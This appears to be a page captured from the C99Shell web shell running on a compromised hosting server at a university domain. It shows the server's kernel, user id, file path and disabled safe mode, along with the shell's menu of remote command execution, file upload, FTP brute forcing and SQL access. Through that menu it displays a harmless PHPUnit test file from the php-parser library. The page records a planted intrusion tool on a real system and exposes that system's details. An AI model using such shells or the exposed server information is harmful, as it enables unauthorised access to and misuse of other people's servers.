!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/Builder/   drwxr-xr-x
Free 116.58 GB of 200.55 GB (58.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ParamTest.php (3.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Builder;

use 
PhpParser\Node;
use 
PhpParser\Node\Expr;
use 
PhpParser\Node\Scalar;

class 
ParamTest extends \PHPUnit_Framework_TestCase
{
    public function 
createParamBuilder($name) {
        return new 
Param($name);
    }

    
/**
     * @dataProvider provideTestDefaultValues
     */
    
public function testDefaultValues($value$expectedValueNode) {
        
$node $this->createParamBuilder('test')
            ->
setDefault($value)
            ->
getNode()
        ;

        
$this->assertEquals($expectedValueNode$node->default);
    }

    public function 
provideTestDefaultValues() {
        return array(
            array(
                
null,
                new 
Expr\ConstFetch(new Node\Name('null'))
            ),
            array(
                
true,
                new 
Expr\ConstFetch(new Node\Name('true'))
            ),
            array(
                
false,
                new 
Expr\ConstFetch(new Node\Name('false'))
            ),
            array(
                
31415,
                new 
Scalar\LNumber(31415)
            ),
            array(
                
3.1415,
                new 
Scalar\DNumber(3.1415)
            ),
            array(
                
'Hallo World',
                new 
Scalar\String_('Hallo World')
            ),
            array(
                array(
123),
                new 
Expr\Array_(array(
                    new 
Expr\ArrayItem(new Scalar\LNumber(1)),
                    new 
Expr\ArrayItem(new Scalar\LNumber(2)),
                    new 
Expr\ArrayItem(new Scalar\LNumber(3)),
                ))
            ),
            array(
                array(
'foo' => 'bar''bar' => 'foo'),
                new 
Expr\Array_(array(
                    new 
Expr\ArrayItem(
                        new 
Scalar\String_('bar'),
                        new 
Scalar\String_('foo')
                    ),
                    new 
Expr\ArrayItem(
                        new 
Scalar\String_('foo'),
                        new 
Scalar\String_('bar')
                    ),
                ))
            ),
            array(
                new 
Scalar\MagicConst\Dir,
                new 
Scalar\MagicConst\Dir
            
)
        );
    }

    public function 
testTypeHints() {
        
$node $this->createParamBuilder('test')
            ->
setTypeHint('array')
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Node\Param('test'null'array'),
            
$node
        
);

        
$node $this->createParamBuilder('test')
            ->
setTypeHint('callable')
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Node\Param('test'null'callable'),
            
$node
        
);

        
$node $this->createParamBuilder('test')
            ->
setTypeHint('Some\Class')
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Node\Param('test'null, new Node\Name('Some\Class')),
            
$node
        
);
    }

    public function 
testByRef() {
        
$node $this->createParamBuilder('test')
            ->
makeByRef()
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Node\Param('test'nullnulltrue),
            
$node
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0146 ]--